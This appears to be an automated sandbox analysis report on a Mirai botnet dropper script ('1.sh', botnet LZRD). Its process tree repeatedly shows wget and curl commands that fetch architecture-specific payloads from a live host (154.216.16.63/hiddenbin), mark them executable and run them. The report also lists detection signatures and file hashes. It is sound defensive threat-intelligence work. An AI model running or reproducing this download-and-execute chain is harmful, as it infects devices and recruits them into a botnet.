Analysis

  • max time kernel
    108s
  • max time network
    143s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-12-2024 07:41

General

  • Target

    1.sh

  • Size

    2KB

  • MD5

    5900bec79ec2bba33659f8a9dfe92eb6

  • SHA1

    73ec8e41322311f983e35396c66fab7ab580aa72

  • SHA256

    984686cc7b69066b7963531fa7948f8134fa9fd2f5beabcea849b2e5d852cbcc

  • SHA512

    671afe06a8c6d5108d48010d0ff4697c514e0febcbfd602d2953f9e13469ea05761386b9500b5a4d52b57b45f7cc037282b657110676f52f2d95f54cc2896a42

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Writes file to tmp directory
    PID:706
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:709
    • /usr/bin/wget
      wget http://154.216.16.63/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:713
    • /usr/bin/curl
      curl -O http://154.216.16.63/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:730
    • /bin/cat
      cat Space.arc
      2⤵
        PID:736
      • /bin/chmod
        chmod +x 1.sh busybox Space Space.arc systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-Dkvy6L
        2⤵
        • File and Directory Permissions Modification
        PID:737
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:738
      • /usr/bin/wget
        wget http://154.216.16.63/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:740
      • /usr/bin/curl
        curl -O http://154.216.16.63/hiddenbin/Space.x86
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:741
      • /bin/cat
        cat Space.x86
        2⤵
          PID:742
        • /bin/chmod
          chmod +x 1.sh busybox Space Space.arc Space.x86 systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-Dkvy6L
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          PID:744
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:746
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:747
        • /bin/cat
          cat Space.x86_64
          2⤵
            PID:748
          • /bin/chmod
            chmod +x 1.sh busybox Space Space.arc Space.x86 Space.x86_64 systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-Dkvy6L
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            PID:750
          • /usr/bin/wget
            wget http://154.216.16.63/hiddenbin/Space.i686
            2⤵
            • Writes file to tmp directory
            PID:752
          • /usr/bin/curl
            curl -O http://154.216.16.63/hiddenbin/Space.i686
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:753
          • /bin/cat
            cat Space.i686
            2⤵
              PID:760
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64 systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-Dkvy6L
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:763
            • /usr/bin/wget
              wget http://154.216.16.63/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:766
            • /usr/bin/curl
              curl -O http://154.216.16.63/hiddenbin/Space.mips
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:774
            • /bin/cat
              cat Space.mips
              2⤵
              • System Network Configuration Discovery
              PID:784
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-Dkvy6L
              2⤵
              • File and Directory Permissions Modification
              PID:785
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:786
            • /usr/bin/wget
              wget http://154.216.16.63/hiddenbin/Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:789
            • /usr/bin/curl
              curl -O http://154.216.16.63/hiddenbin/Space.mips64
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:795
            • /bin/cat
              cat Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:802
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-Dkvy6L
              2⤵
              • File and Directory Permissions Modification
              PID:804
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:806
            • /usr/bin/wget
              wget http://154.216.16.63/hiddenbin/Space.mpsl
              2⤵
              • Writes file to tmp directory
              PID:807
            • /usr/bin/curl
              curl -O http://154.216.16.63/hiddenbin/Space.mpsl
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:815
            • /bin/cat
              cat Space.mpsl
              2⤵
                PID:816
              • /bin/chmod
                chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-7f77a81ac96e448c9e00deea09a07fd1-systemd-timedated.service-Dkvy6L
                2⤵
                • File and Directory Permissions Modification
                PID:817
              • /tmp/Space
                ./Space
                2⤵
                • Executes dropped EXE
                • Modifies Watchdog functionality
                • Writes file to system bin folder
                • Reads runtime system information
                PID:818
              • /usr/bin/wget
                wget http://154.216.16.63/hiddenbin/Space.arm
                2⤵
                • Writes file to tmp directory
                PID:854
              • /usr/bin/curl
                curl -O http://154.216.16.63/hiddenbin/Space.arm
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:855
              • /bin/cat
                cat Space.arm
                2⤵
                  PID:859
                • /bin/chmod
                  chmod +x 1.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:860
                • /tmp/Space
                  ./Space
                  2⤵
                  • Executes dropped EXE
                  PID:861
                • /usr/bin/wget
                  wget http://154.216.16.63/hiddenbin/Space.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:863
                • /usr/bin/curl
                  curl -O http://154.216.16.63/hiddenbin/Space.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:864
                • /bin/cat
                  cat Space.arm5
                  2⤵
                    PID:865
                  • /bin/chmod
                    chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:866
                  • /tmp/Space
                    ./Space
                    2⤵
                    • Executes dropped EXE
                    PID:867
                  • /usr/bin/wget
                    wget http://154.216.16.63/hiddenbin/Space.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:869
                  • /usr/bin/curl
                    curl -O http://154.216.16.63/hiddenbin/Space.arm6
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:870
                  • /bin/cat
                    cat Space.arm6
                    2⤵
                      PID:871
                    • /bin/chmod
                      chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:872
                    • /tmp/Space
                      ./Space
                      2⤵
                      • Executes dropped EXE
                      PID:873
                    • /usr/bin/wget
                      wget http://154.216.16.63/hiddenbin/Space.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:875
                    • /usr/bin/curl
                      curl -O http://154.216.16.63/hiddenbin/Space.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:876
                    • /bin/cat
                      cat Space.arm7
                      2⤵
                        PID:877
                      • /bin/chmod
                        chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:878
                      • /tmp/Space
                        ./Space
                        2⤵
                        • Executes dropped EXE
                        PID:879
                      • /usr/bin/wget
                        wget http://154.216.16.63/hiddenbin/Space.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:881
                      • /usr/bin/curl
                        curl -O http://154.216.16.63/hiddenbin/Space.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:882
                      • /bin/cat
                        cat Space.ppc
                        2⤵
                          PID:883
                        • /bin/chmod
                          chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:884
                        • /tmp/Space
                          ./Space
                          2⤵
                          • Executes dropped EXE
                          PID:885
                        • /usr/bin/wget
                          wget http://154.216.16.63/hiddenbin/Space.sparc
                          2⤵
                            PID:887
                          • /usr/bin/curl
                            curl -O http://154.216.16.63/hiddenbin/Space.sparc
                            2⤵
                            • Writes file to tmp directory
                            PID:888
                          • /bin/cat
                            cat Space.sparc
                            2⤵
                              PID:889
                            • /bin/chmod
                              chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:890
                            • /tmp/Space
                              ./Space
                              2⤵
                              • Executes dropped EXE
                              PID:891
                            • /usr/bin/wget
                              wget http://154.216.16.63/hiddenbin/Space.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:892
                            • /usr/bin/curl
                              curl -O http://154.216.16.63/hiddenbin/Space.m68k
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:893
                            • /bin/cat
                              cat Space.m68k
                              2⤵
                                PID:894
                              • /bin/chmod
                                chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:895
                              • /tmp/Space
                                ./Space
                                2⤵
                                • Executes dropped EXE
                                PID:896
                              • /usr/bin/wget
                                wget http://154.216.16.63/hiddenbin/Space.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:898
                              • /usr/bin/curl
                                curl -O http://154.216.16.63/hiddenbin/Space.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:899
                              • /bin/cat
                                cat Space.sh4
                                2⤵
                                  PID:900
                                • /bin/chmod
                                  chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:901
                                • /tmp/Space
                                  ./Space
                                  2⤵
                                  • Executes dropped EXE
                                  PID:902

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                040ffa7428eb327e862d8ef760f9b0b7

                                SHA1

                                a5d63558608159d11599e17fc22418e8d6be37e3

                                SHA256

                                a0a8b1e5a745d6a769d6bad18629d8e3219220184b70c0bf35d57e677f15547e

                                SHA512

                                8c17678e8b2bb096a01bcbf633fd0cde40b77519508165d8e6b1dc9634654156e6064ad1d67544b52bebbadcb2bdc3cccec301ff1fd6ce4750d0eb290be2087f

                              • /tmp/Space

                                Filesize

                                36KB

                                MD5

                                aa82aa3706c22bdd6d4f288b0fe8c882

                                SHA1

                                28b4778ba027a480e268e939210a36d2a35fc8eb

                                SHA256

                                1cc788b1d69773ce52ca540c300446be443e57f60efeb569c82878575b5ddedb

                                SHA512

                                2c1ea9ee8e54526e9e904b8e471c0a4f73601445c9c7c915cc186044d68c8d4e7a86665601ce5ac91c2b55a2d126ec47d38f23c1997047701246be7ca2a213b9

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                724ceb0c8889d6bb6ce97da308506389

                                SHA1

                                549747750f3b7e4344fc04e2d82137b3dcd27d2f

                                SHA256

                                f16eb5362f277c5800d8379207aa4d1536e9ef8f2be8ecc15e4076649cf7a768

                                SHA512

                                a09f8a0bec22efff6a7fb985b9b63522f8d05368561c26188b2ec2144b5b719fc98e535b572f4f374084dbf06550fc137b3bb0412bc1f67948bdba29a6de7a22

                              • /tmp/Space

                                Filesize

                                43KB

                                MD5

                                3a88b7783ab51e838292079e1afcf783

                                SHA1

                                02406ef1d2a10e3f0df5b650d67ffc481da014b9

                                SHA256

                                9491ebbe2aa9be31814cddddfc98c71d8b0f30ce39ab31a7f5beb2a851f18e9f

                                SHA512

                                6774bb228a758e5cda47f4ec8bc55906389c55a53c8fa2def843561733fde2f85d8a91573f25d6e8a03bf1aec4385136ff0db05986c688beba6344b9a1c1f521

                              • /tmp/Space

                                Filesize

                                95KB

                                MD5

                                ca95c8e2f038ed1f5811474d8d780b21

                                SHA1

                                ba5a2d1dafee13289aff49e5994b3fb4c319661f

                                SHA256

                                ca2e5567774a34ad0980543cfa48c9859ccd4f0f395fa6a5d54cb951b33e6723

                                SHA512

                                d68845794f5d040bf1b001f65494caf8901164ebb71c2a0e15b97653b723812591a9fe7ece4299fb6ff8607ddd252480d5fdc0bfbf4beaf6b6cff2f22f3e305d

                              • /tmp/Space.arc

                                Filesize

                                113KB

                                MD5

                                2b28ad39d8447ff98e4880a5f4518f5d

                                SHA1

                                5829d16ccff2037972e268c6ec1c23737c641fa1

                                SHA256

                                62456a156cd7b4ddc7254c08bb0c56d93480d8b72a21d045eb44da76fbc5fdba

                                SHA512

                                3962452902afb695ab1cd060f6a2563fedf0c304bca7e5c8dd9af95a9e7bbaabdc08b7f4ba9d2dc463519bcb0a61c6f9357b3a172c10cca79bdbb2cf7984a86f

                              • /tmp/busybox

                                Filesize

                                857KB

                                MD5

                                6ffc46165b5d9726a6607f3ea5305589

                                SHA1

                                ab127220f42e816b413dde0d17031e251a7bc98f

                                SHA256

                                80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

                                SHA512

                                456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8